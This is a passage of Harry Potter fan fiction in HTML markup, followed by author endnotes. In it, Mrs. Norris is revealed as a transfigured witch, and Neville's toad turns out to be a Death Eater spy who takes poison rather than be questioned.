blushing.</p>\n\n<p>&#8220;Yup!&nbsp; And that&#8217;s why women couldn&#8217;t <i>test-</i>ify.&nbsp; Neither could eunuchs for that matter, because they lacked the proper anatomical equipment in order to swear by,&#8221; she said with a throaty laugh.</p>\n\n<p>Ron blushed scarlet and abruptly excused himself from the table.&nbsp; </p>\n\n<p>Harry looked at her with amazement, <i>&#8220;Hermione, that</i> was bawdy.&#8221;</p>\n\n<p>She flashed him a smile and flounced her hair, &#8220;Maybe a little, but Harry that&#8217;s simply history or should I say <i>his</i>-story, because the contributions of women are generally ignored in the historical record.&#8221;</p>\n\n<p>&#8220;Where did you find out about that?&#8221; he asked sounding intrigued.</p>\n\n<p>&#8220;In doing research, you come across all kinds of fascinating stuff,&#8221; she said as she checked her watch.&nbsp; &#8220;We should get going.&nbsp; We&#8217;ve got a lot to do.&#8221;</p>\n\n<p>They quickly finished their dinner and left for the library.&nbsp; Hermione found a large table in the back of the library, which quickly became covered with books and papers spread all about.&nbsp; After about an hour of discussing various aspects of law that seemed pertinent to the case Hermione became exasperated.</p>\n\n<p>&#8220;I wish someone would bring me the head of John the Baptist,&#8221; she grumbled.</p>\n\n<p>&#8220;What do you mean by that?&#8221; Harry asked.</p>\n\n<p>&#8220;We need some exculpatory evidence.&nbsp; Something to prove that Voldemort has risen,&#8221; she said.&nbsp; &#8220;Something no one could twist and say that it was due to you being evil or to Sirius Black.&#8221;</p>\n\n<p>&#8220;Why do I have to prove that Voldemort rose?&#8221;</p>\n\n<p>&#8220;Because we are admitting your guilt about performing magic outside of school.&nbsp; What we need are mitigating circumstances to introduce as evidence,&#8221; she sighed.&nbsp; &#8220;It&#8217;s not enough that you tried to save Ginny from being bit by poisonous snakes.&#8221;</p>\n\n<p>&#8220;I don&#8217;t understand.&nbsp; Why isn&#8217;t that enough?&#8221;</p>\n\n<p>&#8220;Because Fudge has set the tone for many in the Wizarding World.&nbsp; He denies that Voldemort has returned &#8211; so he&#8217;s turning all the blame of suspicious acts on you and Sirius.&nbsp; That means that many people would rather believe outrageous lies about you than face the reality that the most evil Dark Wizard they have ever known has returned.&nbsp; So that means they are willing to believe that you were the one to transfigure the flowers to snakes in the first place.&nbsp; We have no evidence to counter that belief.&#8221;</p>\n\n<p>&#8220;But I didn&#8217;t do that,&#8221; he protested.</p>\n\n<p>&#8220;I know, but we can&#8217;t prove that.&nbsp; The Prior Incantato<i>\n\n</i>spell only gives the last spell cast by a wand.&nbsp; Since you admit that you did the reverse transfiguration spell, testing your wand would be useless as evidence.&nbsp; And at this point it would be <i>really</i> useless because you&#8217;ve performed many more spells since we&#8217;ve been back in school.&#8221;</p>\n\n<p>&#8220;So how would proving Voldemort has returned help my case?&#8221; he asked.</p>\n\n<p>&#8220;Then the Governors would know that you aren&#8217;t a Dark Wizard in training, but the good, decent young man that I know,&#8221; then she brightened.&nbsp; &#8220;Of course, we might at least have Albert Albini leaning towards our side.&#8221;</p>\n\n<p>&#8220;Why do you say that?&#8221; Harry asked.</p>\n\n<p>&#8220;Remember when Azkaban was overturned?&nbsp; He openly criticized Fudge in the paper for having placed the Dementors there in the first place.&nbsp; He also cited the rumours that Voldemort had returned and worried about what the future held in store.&nbsp; If Albini were a Fudge loyalist, he never would have said such a thing.&nbsp; Also the fact that the Board of Governors didn&#8217;t rush to expel you immediately after Fudge called for it, shows that there may be an independence of thought which we so desperately need in this case.&#8221;&nbsp; She then looked at Harry carefully.&nbsp; &#8220;You said that you knew something bad was going to happen the day of the funeral because you saw Macnair at the Burrow and you knew that he was a Death Eater.&nbsp; At the service, you turned around and took out your wand because you sensed something was about to happen.&nbsp; Right?&#8221;</p>\n\n<p>&#8220;Right.&nbsp; I knew someone was hiding behind a standing stone.&nbsp; Then I saw them and saw they were holding a wand.&nbsp; I knew there was going to be trouble.&nbsp; That&#8217;s when I took out my wand.&#8221;</p>\n\n<p>&#8220;You also said that Trelawney pronounced to your class that you have the Sight.&#8221;</p>\n\n<p>&#8220;Yes.&nbsp; She did.&#8221;</p>\n\n<p>&#8220;Well then,&#8221; Hermione said sounding satisfied, &#8220;what we need is to get a statement from Trelawney saying that you have the Sight.&nbsp; So she could confidently state that there is the real probability that you had a precognitive warning that something bad was about to happen.&nbsp; That you sensed it was going to come from someone hiding behind a stone.&nbsp; Even if no one else present sensed it or saw the culprit.&nbsp;&nbsp; And since Trelawney is an instructor here and these are our Board of Governors, they ought to value her testimony.&nbsp; Otherwise they would be criticizing their own faculty members and the quality of education offered here.&nbsp; I doubt that they would be openly hostile to their own staff.&nbsp; I may not have much respect for her or her so-called talents, but we need to play her up as much as we can.&#8221;</p>\n\n<p>&#8220;Okay, I&#8217;ll talk with her tomorrow about writing something.&#8221;</p>\n\n<p>&#8220;There&#8217;s also the question of how you could just do that transfiguration without any instruction or practice,&#8221; Hermione mused.</p>\n\n<p>&#8220;Well, Professor McGonagall can write a statement saying that I&#8217;ve really improved in the last year and that I can do transfigurations now without any difficulty,&#8221; Harry said sounding pleased.</p>\n\n<p>&#8220;How <i>did you</i> improve so rapidly?&#8221; Hermione asked.&nbsp; &#8220;You used to really struggle in that class.&nbsp; Then at the start of this year you seemed to have made a quantum leap in talent.&#8221;</p>\n\n<p>&#8220;Umm,&#8221; Harry desperately tried to remember the lie that he had told McGonagall.&nbsp; &#8220;I learned some meditative techniques this summer.&nbsp;&nbsp; I learned a little yoga.&#8221;</p>\n\n<p>&#8220;Yoga?&#8221; she said questioningly.&nbsp; &#8220;What method of yoga?&nbsp; Was it Hatha, Kundalini or&#8230;?&#8221;</p>\n\n<p>Harry swallowed hard.&nbsp; &#8220;I-I don&#8217;t know.&nbsp; I just saw it on the telly a few times.&nbsp; I didn&#8217;t pay too much attention.&#8221;</p>\n\n<p>&#8220;<i>Really?</i>&nbsp; Do you remember the name of the program or what channel it was on?&#8221;</p>\n\n<p>&#8220;I don&#8217;t remember.&nbsp; That was last summer,&#8221; he said stammering.</p>\n\n<p>&#8220;So is it your testimony that you became such a whiz at Transfiguration because you caught a television show once or twice on yoga and you didn&#8217;t pay close attention to it?&#8221; she asked with an incredulous look on her face.</p>\n\n<p>&#8220;Well, I mean I sat and meditated while it was on.&#8221;</p>\n\n<p>&#8220;Is <i>that</i> your testimony?&#8221; she asked as she gave him a piercing look.&nbsp; &#8220;You&#8217;re lying to me.&#8221;</p>\n\n<p>Harry hung his head, &#8220;I&#8217;m sorry Hermione, but I can&#8217;t tell you how I improved so rapidly.&#8221;</p>\n\n<p>&#8220;Fine,&#8221; she snapped, &#8220;but we can&#8217;t lie to the Board of Governors.&nbsp; About anything.&nbsp; It&#8217;ll come back to haunt us.&nbsp; I do think we need Professor McGonagall to make a statement in regards to your great talent in Transfiguration class and that she wasn&#8217;t surprised that you could instantly reverse the spell.&nbsp; I just hope she doesn&#8217;t put anything in there about yoga.&#8221;</p>\n\n<p>Harry nodded and looked sheepishly at her, &#8220;I&#8217;m sorry I lied to you.&#8221;</p>\n\n<p>&#8220;If there&#8217;s something you can&#8217;t tell me that&#8217;s fine.&nbsp; Just say <i>that</i>.&nbsp; Don&#8217;t lie to me again.&nbsp; After all, I am trying to help you,&#8221; she said sounding hurt.</p>\n\n<p>*</p>\n\n<p>The next Saturday Neville asked to speak with Harry privately after lunch.&nbsp; They went up to their dorm room before Neville would tell him what it was about.</p>\n\n<p>&#8220;Professor Figg has been helping me for months with my memory.&nbsp; She&#8217;s used hypnosis and some other methods to help me remember some things about my parents.&nbsp; She said that smells were a powerful way to invoke memories.&nbsp; She was right.&nbsp; When I smelled my mum&#8217;s perfume it reminded me of the lullaby she used to sing when I had trouble falling asleep.&nbsp; The smell of my dad&#8217;s pipe and tobacco reminded me of sitting on his lap while he read to me.&#8221;</p>\n\n<p>&#8220;That&#8217;s nice Neville.&nbsp; Did you see them over the Easter holiday?&#8221;</p>\n\n<p>&#8220;Yeah,&#8221; he said darkly.&nbsp; &#8220;They didn&#8217;t look good.&nbsp; In fact, they looked terrible.&#8221;</p>\n\n<p>&#8220;What was wrong?&#8221; asked Harry.</p>\n\n<p>&#8220;Well they&#8217;ve always been staring off into space, but now they have these dark sores on their hands.&nbsp; I never noticed them before so I&#8217;m not sure if they&#8217;ve had them for a long time or not, but they looked awful.&nbsp; I told my gran, but she didn&#8217;t seem to think there was anything wrong with them.&nbsp; She said they were just old age &#8216;liver spots.&#8217;&nbsp; I&#8217;ve seen liver spots, they didn&#8217;t look like those at all.&#8221;</p>\n\n<p>&#8220;What do you think they might be?&#8221;</p>\n\n<p>&#8220;I dunno.&nbsp; It made me really worried though.&nbsp; So when Gran had her private time with my folks, I went and talked with the head of the psychiatric department. &nbsp;He seemed to think it was just due to their long term vegetative states,&#8221; Neville shook his head.&nbsp; &#8220;It still bothers me.&#8221;</p>\n\n<p>&#8220;Who&#8217;s in charge of your parents&#8217; care?&#8221; Harry asked.</p>\n\n<p>&#8220;Avery.&nbsp; Wallace Avery,&#8221; Neville said.</p>\n\n<p>Harry&#8217;s jaw dropped.&nbsp; &#8220;No, not Avery,&#8221; he said with dread.</p>\n\n<p>&#8220;Why?&#8221;</p>\n\n<p>&#8220;He&#8217;s a Death Eater.&nbsp; I saw him in Voldemort&#8217;s inner circle last year,&#8221; Harry said.&nbsp; &#8220;We have to tell this to Professor Figg immediately.&#8221;</p>\n\n<p>&#8220;Well, that&#8217;s part of what I wanted to talk with you about Harry.&nbsp; Figg said that she thought that my memory could be completely restored today.&nbsp; She said she&#8217;d introduce me to someone who knew what happened to my parents.&nbsp; I want you to come with me,&#8221; Neville said.</p>\n\n<p>&#8220;Why?&nbsp; I mean it might be embarrassing to you for me to be there.&#8221;</p>\n\n<p>&#8220;Harry, you&#8217;ve been through a lot of strange stuff.&nbsp; I thought that you might be able to help me afterwards.&nbsp; You know, sort through it all.&nbsp; Please come,&#8221; Neville pleaded.&nbsp; &#8220;I&#8217;m a little scared.&#8221; </p>\n\n<p>&#8220;Okay, I&#8217;ll come.&nbsp; When are we supposed to meet with her?&#8221;</p>\n\n<p>&#8220;In about ten minutes or so.&#8221;</p>\n\n<p><i>Croooooak</i><i>! Croooooak!</i></p>\n\n<p>&#8220;No Trevor!&nbsp; You can&#8217;t come,&#8221; Neville said rolling his eyes.&nbsp; &#8220;Honestly, I wish my Great Uncle Algie never got me this stupid toad.&#8221;</p>\n\n<p>Trevor then jumped out of his small bowl of water and hopped off the side table and started going across the room.</p>\n\n<p>&#8220;Trevor!&nbsp; You&#8217;ve spilled water again.&nbsp; Oh and look at all the bloody algae you&#8217;ve spread over my books.&nbsp; Why don&#8217;t you just get lost for good this time?&#8221;</p>\n\n<p>Neville and Harry started to wipe up the water and gunk that had been spread over the room.</p>\n\n<p>&#8220;I hate that toad,&#8221; he said muttering.&nbsp; &#8220;I wish I had an owl instead.&nbsp; Hedwig never seems to give you any problems.&#8221;</p>\n\n<p>&#8220;Yeah, most of the time she doesn&#8217;t.&nbsp; She has gotten hacked off with me a couple of times though.&nbsp; Later I found owl pellets in my bed,&#8221; Harry said.&nbsp; </p>\n\n<p>&#8220;Ewww,&#8221; Neville said.</p>\n\n<p>Harry nodded.&nbsp; &#8220;At least it wasn&#8217;t owl droppings.&nbsp; Anyway, I think we&#8217;ve got everything cleaned up now.&nbsp; Let&#8217;s go, I really want to tell Professor Figg about Avery.&#8221;</p>\n\n<p>They walked quietly through the castle towards Professor Figg&#8217;s classroom.&nbsp; Harry started to get a nervous feeling in his stomach.&nbsp; There was something bad about to happen.&nbsp; Neville also seemed a bit apprehensive and knocked softly on the door.</p>\n\n<p>&#8220;Come in Neville!&#8221; Professor Figg called to him.</p>\n\n<p>They walked into her classroom and found her sitting behind her desk with her Kneazle on her lap.&nbsp; She looked surprised to see both Neville and Harry walk in the room.&nbsp; </p>\n\n<p>&#8220;So Harry, what can I do for you?&#8221; she asked stifling a yawn and tugging on her ear.</p>\n\n<p>&#8220;Umm, Neville asked me to come,&#8221; Harry said as he pushed up his glasses.</p>\n\n<p>&#8220;That&#8217;s very wise, Neville,&#8221; Professor Figg said kindly.&nbsp; &#8220;Muggle doctors often recommend that patients bring someone with them when they know they are going to get bad news.&nbsp; That way the other person can help them remember what the doctor told them.&nbsp; Please sit down.&#8221;</p>\n\n<p>&#8220;Neville, tell her about your parents and Avery,&#8221; prompted Harry. </p>\n\n<p>He quickly told her about the strange spots that he saw for the first time on the palms of his parents&#8217; hands.&nbsp; He also told her about what Avery had said and that Harry knew him to be a Death Eater.</p>\n\n<p>Professor Figg nodded gravely, &#8220;Yes, I&#8217;ve been afraid of that.&nbsp; I think they&#8217;re in danger there.&nbsp; We will have to try and get them out as soon as possible.&#8221;&nbsp; </p>\n\n<p>Then she meowed at the cat in her lap.&nbsp; He jumped down and left the room.&nbsp; A few minutes later the cat returned with an elderly looking witch.&nbsp; She had looked like she had been blonde but was quickly going grey and she looked very thin.&nbsp; The look in her eyes is what bothered Harry.&nbsp; She looked directly at him as if she were looking through him.&nbsp; He shuddered when she entered the room.</p>\n\n<p>&#8220;Neville Longbottom, Harry Potter, this is Mrs. Iona Norris,&#8221; introduced Professor Figg.&nbsp; &#8220;Mrs. Norris, this is Neville and Harry.&#8221;</p>\n\n<p>Ron was right, Harry thought.&nbsp; Filch had been watching over a transfigured woman after all.&nbsp; He looked at Professor Figg, who appeared calm.&nbsp; Harry trusted that this meant the mysterious woman who just entered the room would mean no harm to him or Neville. </p>\n\n<p>&#8220;Hello Neville,&#8221; Mrs. Norris said quietly as she shook his hand.&nbsp; &#8220;I&#8217;m so sorry.&nbsp; I was only trying to help.&#8221;</p>\n\n<p>&#8220;What do you mean?&#8221; he asked.</p>\n\n<p>Mrs. Norris gave a large sigh as she sat down next to him.&nbsp; &#8220;I think I need to tell you a little about myself first.&nbsp; I had the misfortune of marrying a Dark Wizard.&nbsp; He was handsome and charming in his youth, but he turned into a vicious, mean and controlling man.&nbsp; I was never able to stand up to him.&nbsp; Over the years he delved deeper and deeper into the Dark Arts.&nbsp; I was helpless in stopping him or any of the horrible crimes that he committed.&nbsp; When You-Know-Who started looking for followers, he called on his old friend Cyncus to join him.&nbsp; He was one of the first Death Eaters.</p>\n\n<p>&#8220;I stood silently by as Cy married off our only child to what I knew was another Death Eater.&nbsp; Cy thought it was a good match, because now we were linked to a prominent and powerful wizarding family that went back for generations.&nbsp; It didn&#8217;t matter whether or not our daughter was going to be happy.&nbsp; Then again, <i>I</i> was never happy &#8211; so what difference would that make to Cy?&#8221; </p>\n\n<p>Harry looked at this witch who seemed close to tears.&nbsp; She was finally telling a story that had been consuming her for years.&nbsp; As he looked at her, there was something familiar about her.&nbsp; He couldn&#8217;t place it though.&nbsp; It was as if he recognized an actor from another movie, but didn&#8217;t know where they were from.</p>\n\n<p>&#8220;I finally snapped when I heard what happened to your parents.&nbsp; I knew that Cy was gone that night.&nbsp; I knew, <i>I knew</i> in my heart that he had something to do with it.&nbsp; I wanted to see you, to see how you were doing.&nbsp; I arranged to visit your grandmother a week later and I saw how traumatized you were.&nbsp; My heart was simply torn out of my body when I saw you.&nbsp; I had to do something,&#8221; she said her voice trembling.&nbsp; &#8220;When Lucretia left the room for a minute, I gave you a memory charm.&nbsp; I only meant to erase the memory of that night.&nbsp; I didn&#8217;t mean to erase all your memories and ruin your powers of concentration.&nbsp; I am so sorry.&#8221;</p>\n\n<p>Neville reached over to Mrs. Norris and patted her on the shoulder, &#8220;That&#8217;s okay.&nbsp; I&#8217;m sure you meant well.&#8221;</p>\n\n<p>&#8220;I did, I only wish I were a better witch,&#8221; she said looking up at him gratefully.&nbsp; &#8220;If only I hadn&#8217;t had to leave school early&#8230;I might have learned those spells properly and not on my own from books and Kwikspell courses.&#8221;</p>\n\n<p>&#8220;Why did you have to leave Hogwarts early?&#8221; Harry asked.</p>\n\n<p>She gave a rueful smile.&nbsp; &#8220;The same reason girls have had to for centuries.&nbsp; <i>I</i>\n\n<i>had to get married.</i>&#8221;</p>\n\n<p>&#8220;Ohhh,&#8221; Harry said understanding at last.&nbsp; He then looked at her carefully and asked, &#8220;Umm, how come you didn&#8217;t try using anything to umm&#8230;&#8221;</p>\n\n<p>Mrs. Norris bowed her head and said very softly, &#8220;I don&#8217;t even remember my first time.&#8221;</p>\n\n<p>Harry was horrified.&nbsp; He started remembering Ron&#8217;s fear of Krum taking advantage of Hermione and realized that Cyncus Norris must have committed such an act against Mrs. Norris.&nbsp; Then she was forced her to marry the guy that did that to her.&nbsp; He shuddered at the thought.</p>\n\n<p>&#8220;Anyway,&#8221; she continued, &#8220;I left Neville&#8217;s house before Lucretia came back into the room.&nbsp; I went straight to the Ministry&#8217;s offices and talked to Alastor Moody.&nbsp; I turned in my husband and told him that I strongly suspected that the Lestranges were in on it.&nbsp; I had seen them talking together a few days before the attack.&#8221;</p>\n\n<p>&#8220;How did you wind up as a cat?&#8221; Harry asked.</p>\n\n<p>Neville then looked at him quizzically.&nbsp; &#8220;<i>This</i> is Mrs. Norris?&nbsp; Filch&#8217;s cat?&#8221;</p>\n\n<p>&#8220;Yes, I have been trapped in a cat&#8217;s body for thirteen years,&#8221; she said matter-of-factly.&nbsp; &#8220;After I left the Ministry offices, I tried to go into hiding.&nbsp; Except that Cy came looking for me.&nbsp; He must have been tipped off that I went to the Ministry and he came looking for me before he was arrested.&nbsp; I had sought refuge with a childhood friend.&nbsp; I&#8217;d always had a soft spot in my heart for Argus Filch, because he had to put up with so much torment as a child.&nbsp;&nbsp;&nbsp; His older brothers used to place curses and hexes on him and he had to somehow endure without using magic to retaliate.&nbsp; I used to tell his brothers off because they were so cruel to him, and because of that Argus was always kind and sweet towards me.&nbsp; And after years of being with someone who used magic as a means to punish and degrade me, being in the arms of a Squib seemed like a respite.&nbsp; But Cy found me. I thought he was going to kill me, but instead he wanted to punish me and to torture Argus.&nbsp; That&#8217;s why I was transfigured into a cat.&#8221;</p>\n\n<p>&#8220;But&#8230;I saw another student transfigured last year into a ferret by a teacher and then Professor McGonagall used her wand to reverse the spell,&#8221; Harry said puzzled.&nbsp; &#8220;How come you weren&#8217;t turned back before this?&nbsp; Surely Filch knew.&#8221;</p>\n\n<p>&#8220;Yes, he knew that I was now a cat, but he didn&#8217;t know that Cy placed a curse on me after I was transfigured.&nbsp; Only someone who truly loved me could release me from my feline prison.&nbsp; That meant that even Cy wouldn&#8217;t be able to undo his own magic, because Cy never really loved me.&nbsp; I don&#8217;t think he was ever capable of love.&#8221;</p>\n\n<p>&#8220;<i>That&#8217;s</i> why Filch was in the greenhouses,&#8221; Harry said.</p>\n\n<p>She nodded, &#8220;Yes, Argus was the only one who could release me.&nbsp; Having me so close to him, but imprisoned has eaten away at him.&nbsp; You should have seen him years ago, he really was quite handsome.&nbsp; Anyway, Argus confided in Professor Snape who has tried many times over the years to come up with a restorative potion for me, but he always failed.&nbsp; He could never understand why.&nbsp; I was never able to communicate with them until this year, when Professor Figg spoke with me,&#8221; Mrs. Norris looked at the teacher with immense gratitude in her eyes.&nbsp; &#8220;Then Argus had to make the entire potion from scratch.&nbsp; He had to get all the ingredients and do everything.&nbsp; But it finally worked and now here I am.&#8221; </p>\n\n<p>&#8220;But couldn&#8217;t you have talked to Professor McGonagall?&#8221; asked Harry.&nbsp; &#8220;She&#8217;s a cat Animagus.&#8221; </p>\n\n<p>Mrs. Norris gave a pained smile.&nbsp; &#8220;I suppose I could have, but&#8230;well, Minerva and I never got along.&nbsp; It goes back to when we were in school.&nbsp; She was Head Girl when I was only in my second year.&nbsp; I developed early and I was quite pretty in my day.&nbsp;&nbsp; Minerva on the other hand, was never popular with boys.&nbsp; Part of it was due to her rigid attitude towards rules and part was due to her plain looks.&nbsp; She still doesn&#8217;t evoke any male interest, she&#8217;s never been married or even had any lovers that I can tell.&nbsp; Anyway, she didn&#8217;t like all the attention I got from boys, especially from the older ones that she thought should have looked at her.&nbsp; So when I was forced to drop out of school, she wasn&#8217;t surprised.&nbsp; She even wrote me a letter saying that her only surprise was that I had lasted through to my fifth year.&#8221;</p>\n\n<p>Harry&#8217;s mouth was agape.&nbsp; He had never expected that kind of pettiness from his head of house, but it didn&#8217;t seem terribly out of character for her either.</p>\n\n<p>&#8220;So, no.&nbsp; I never felt like I could turn to her for help,&#8221; she said sadly.&nbsp; &#8220;I was afraid that she would simply turn her back on me and say that I&#8217;d gotten what I deserved.&nbsp; Again.&#8221;</p>\n\n<p>Neville looked at her carefully, &#8220;Now that you&#8217;re free, what do you plan on doing?&#8221;</p>\n\n<p>She shook her head, &#8220;I&#8217;m pretty much a prisoner here.&nbsp; I have to stay out of sight.&nbsp; There are too many students who might say something innocent to their parents and end up endangering my life.&#8221;</p>\n\n<p>&#8220;Why is that?&#8221; Neville asked.</p>\n\n<p>&#8220;Because Cy escaped from Azkaban.&nbsp; I <i>know</i> he&#8217;s alive and I&#8217;m sure he&#8217;d like to see me dead.&#8221; </p>\n\n<p>&#8220;What about your daughter?&#8221; asked Harry.&nbsp; &#8220;I&#8217;m sure she&#8217;s been worried about you.&nbsp; Your having disappeared for all these years and presumed dead.&nbsp; Are you going to tell her you&#8217;re alive?&#8221; </p>\n\n<p>&#8220;No.&nbsp; I&#8217;m sure she&#8217;s more concerned with her social standing than she is with the welfare of her parents,&#8221; Mrs. Norris said coldly.&nbsp;&nbsp; &#8220;I&#8217;m sure that she immediately distanced herself from Cy when he was arrested.&nbsp; I doubt that she will even admit that she&#8217;s related to him.&nbsp; And because of her husband, I&#8217;m sure that she would welcome Cy back in her life before she would me.&#8221;</p>\n\n<p>Harry was disgusted at the thought that someone would be so evil that they&#8217;d welcome back a father who eagerly tortured others, but reject a compassionate mother who took pity on a traumatized child.&nbsp; There was something deeply upsetting about that scenario.</p>\n\n<p>&#8220;Professor Figg, you said that my memory would be restored today,&#8221; interjected Neville.&nbsp; &#8220;I appreciate understanding who gave me the memory charm, but I still don&#8217;t remember what happened that night.&#8221;</p>\n\n<p>Professor Figg nodded, &#8220;Yes, you now know that a charm was placed and the circumstances of why it was placed.&nbsp; I&#8217;ve been working with <st1:place>Iona</st1:place> to perform the counter spell.&#8221;</p>\n\n<p>Neville looked nervously at the witch who stood before him with her wand directed at his head.&nbsp; Harry remembered Lockhart&#8217;s backfired memory spell and decided to move across the room just to be safe.&nbsp; Even Tufty seemed a bit nervous and jumped out of Professor Figg&#8217;s lap.&nbsp; The Kneazle walked over to the door and arched his back and hissed.</p>\n\n<p>&#8220;Stop!&#8221; Professor Figg called out before Mrs. Norris could cast the spell.&nbsp; She walked to the door and found a large green toad standing outside.&nbsp; Tufty hissed at Trevor and emitted a low growl from his throat.&nbsp; Professor Figg pointed her wand at the toad.</p>\n\n<p>&#8220;Harry, go get Professors Snape and Dumbledore.&nbsp; NOW!&#8221; ordered Professor Figg. </p>\n\n<p>&nbsp;Harry ran through the corridors to Dumbledore&#8217;s office.&nbsp; He almost fell several times as his feet slipped on the stone floors.&nbsp; When he got to the stone gargoyle guarding the outside of Dumbledore&#8217;s office he lifted his fist to pound on the wall.&nbsp; His clenched hand almost connected with Dumbledore&#8217;s face when the door swung open.</p>\n\n<p>Harry caught his hand in mid-air and then doubled over trying to catch his breath, &#8220;Figg.&nbsp; Needs you.&nbsp; Now.&nbsp; Snape, too,&#8221; he said between gasps.</p>\n\n<p>Harry was nursing the stitch in his side that he had gotten from running so fast.&nbsp; Dumbledore made a gesture inside his office and Snape appeared.&nbsp; Harry didn&#8217;t have time to think about what Snape had been doing inside Dumbledore&#8217;s office.&nbsp; He was merely glad that he didn&#8217;t have to go look for the Potions Master.</p>\n\n<p>As Harry, Dumbledore and Snape entered Professor Figg&#8217;s office they saw her gripping her wand so tightly that her hand had turned white.&nbsp; Tufty stood with his back arched and was glaring at the toad.</p>\n\n<p>&#8220;What is it Arabella?&#8221; Dumbledore asked.</p>\n\n<p>&#8220;I think we have another spy here,&#8221; she said indicating the toad.&nbsp; &#8220;I wanted reinforcements present before I attempted to force him or her to be revealed.&#8221;</p>\n\n<p>&#8220;Neville, is that your toad?&#8221; Snape asked with narrowed eyes.</p>\n\n<p>&#8220;Yes,&#8221; he squeaked.</p>\n\n<p>A gutteral snarl came from Snape&#8217;s throat as blue-white light was emitted from Professor Figg&#8217;s wand.&nbsp; The toad started growing until a fully-grown wizard was crouched before them.&nbsp; Neville had a look of abject horror on his face.</p>\n\n<p>&#8220;Great Uncle Algie!&#8221; he cried.&nbsp; &#8220;Noooo!&nbsp; It can&#8217;t be!&#8221;</p>\n\n<p>Dumbledore, Snape and Professor Figg all had their wands trained on the old wizard.</p>\n\n<p><i>&#8220;Expelliarmus!&#8221;</i> Snape bellowed causing the man&#8217;s wand to zoom through the air to him.</p>\n\n<p>&#8220;Algernon Marlowe, we meet again,&#8221; said Professor Figg coolly.</p>\n\n<p>&#8220;And what pray tell, would cause a grown wizard like yourself to be masquerading around as a toad for the last five years?&#8221; asked Dumbledore.&nbsp; </p>\n\n<p>Marlowe gave a malevolent glare at Dumbledore and then at Neville.</p>\n\n<p>&#8220;Uncle Algie&#8230;why are you here?&#8221; asked Neville apprehensively.&nbsp; &#8220;Were you trying to watch over me?&#8221;</p>\n\n<p>&#8220;Watch over you?&#8221; Marlowe scoffed.&nbsp; &#8220;You are so stupid.&nbsp; I can&#8217;t even believe I&#8217;m related to such a worthless piece of scum.&#8221;</p>\n\n<p>Neville&#8217;s looked horrified.&nbsp; &#8220;But, but, you were always trying to scare magic out of me &#8211; I thought you cared about me.&#8221;</p>\n\n<p>&#8220;You are so thick you can&#8217;t even tell when someone&#8217;s trying to kill you,&#8221; Marlowe said with contempt.&nbsp; &#8220;I tried drowning you, tried to have you fall to your death.&nbsp; I kept trying to make it look like an accident, but you&#8217;re such a damned brat that you <i>wouldn&#8217;t die!</i>&#8221;&nbsp; Then he looked directly at Harry.&nbsp; &#8220;Sort of like you!&#8221;</p>\n\n<p>&#8220;Why did you want to kill me?&#8221; asked Neville.&nbsp; &#8220;We&#8217;re related.&#8221;</p>\n\n<p>&#8220;You think having some blood in common should cause me to give a damn about someone?&nbsp; That kind of thinking should have gotten you killed.&#8221;</p>\n\n<p>Then Marlowe started to cough uncontrollably.&nbsp; He covered his mouth with his hand and finally his coughing subsided.</p>\n\n<p>&#8220;The Dark Lord knows everything,&#8221; he said menacingly at Neville.&nbsp; &#8220;One day you will have to choose.&nbsp; The only choice that you will be given is to <i>follow him or die</i>.&#8221;</p>\n\n<p>Harry had noticed that Marlowe now made a strange clicking noise when he spoke.&nbsp; It reminded him of a teacher he had in primary school that had ill-fitting dentures.&nbsp; He supposed that the coughing attack must have loosened up the old wizard&#8217;s teeth.</p>\n\n<p>&#8220;Severus, please administer the Veritaserum.&nbsp; I want to know who he was reporting back to,&#8221; said Dumbledore.</p>\n\n<p>&#8220;NEVER!&#8221; yelled Marlowe as he opened his mouth visibly and then bit down on something.&nbsp; </p>\n\n<p>His body fell to the floor.&nbsp; Dead.</p>\n\n<p>&#8220;DAMN YOU!&#8221; screamed Professor Figg at the corpse.&nbsp; &#8220;Damn! &nbsp;Damn!&#8221; she said as she paced the room. </p>\n\n<p>Snape went over to the body and pried open the clenched teeth.&nbsp; He then smelled his fingers.</p>\n\n<p>&#8220;Cyanide,&#8221; he muttered, &#8220;I should have seen that one coming.&#8221;</p>\n\n<p>Dumbledore conjured a paper bag and handed it to Professor Figg.&nbsp; &#8220;That&#8217;s over.&nbsp; There&#8217;s nothing more we can do about that now.&nbsp; Breathe, Arabella.&#8221;</p>\n\n<p>She nodded and slowly breathed in the paper bag.&nbsp; She sat down behind her desk and Tufty climbed back in her lap.&nbsp; She was beginning to relax and stroked her Kneazle. &nbsp;After a few minutes she looked up at Mrs. Norris.</p>\n\n<p>&#8220;Okay, Iona,&#8221; Professor Figg said calmly, &#8220;it is time to restore his memory.&nbsp; Someone else must have been involved that night.&nbsp; And I think that Neville has that secret locked away.&nbsp; That must be why Algie was watching him &#8211; to make sure that his memories never came back.&#8221;</p>\n\n<p>Mrs. Norris stepped forward and raised her wand,&nbsp; &#8220;<i>Finite Incantantem!&#8221; </i>&nbsp;</p>\n\n<p>A blinding yellow light erupted from the tip of her wand and surrounded Neville&#8217;s head.&nbsp; The light bounced around for a few seconds and then his eyelids flickered open.</p>\n\n<p>Professor Snape then handed him a glass filled with an amber looking fluid in it.&nbsp; &#8220;Drink this Longbottom.&nbsp; It is a memory potion that I brewed for you.&nbsp; It will help you sort through the rush of memories you are having.&#8221;</p>\n\n<p>Neville took the glass and drank.&nbsp; He shivered when he finished drinking the potion.&nbsp; He closed his eyes and then started shaking his head.</p>\n\n<p>&#8220;No, no, it can&#8217;t be.&nbsp; It just can&#8217;t be,&#8221; he said with a voice thick with emotion.</p>\n\n<p>&#8220;Who was it?&#8221; asked Dumbledore.</p>\n\n<p>&#8220;Gran.&#8221;</p>\n\n<p>***</p>\n\n<p>Copious Endnotes once again:&nbsp; I understand that there might be some of you disturbed by the thought of two more animals being transfigured people.&nbsp; I agree, except I think that is exactly where JK Rowling is going.&nbsp; So I followed what I think is likely, along with trying to throw in some of my own plot twists.&nbsp; The idea that Argus Filch is overlooking a transfigured woman was something that I saw floated on the Harry Potter for Grown Ups list serv.&nbsp;&nbsp; Yes, the name Argus is from Greek Mythology, but Filch implies &#8216;to steal.&#8217;&nbsp; So put those together with the strange name of Mrs. Norris for a cat and you start to think that the caretaker was trying to steal someone else&#8217;s wife.&nbsp; There&#8217;s also the nagging question that if she were forcibly transfigured why no one restored her before, especially Snape who seemed to get along with Filch.&nbsp; Thus, the old True Love idea found in fairy tales such Beauty and the Beast reared its old head.</p>\n\n<p>And Uncle Algie as Trevor?&nbsp; All I can say is Algie/Algae.&nbsp; JK Rowling is practically screaming it to us.&nbsp; I&#8217;ve also never felt comfortable with the idea of someone trying to scare magic out of a child.&nbsp; I think Great Uncle Algie was trying to 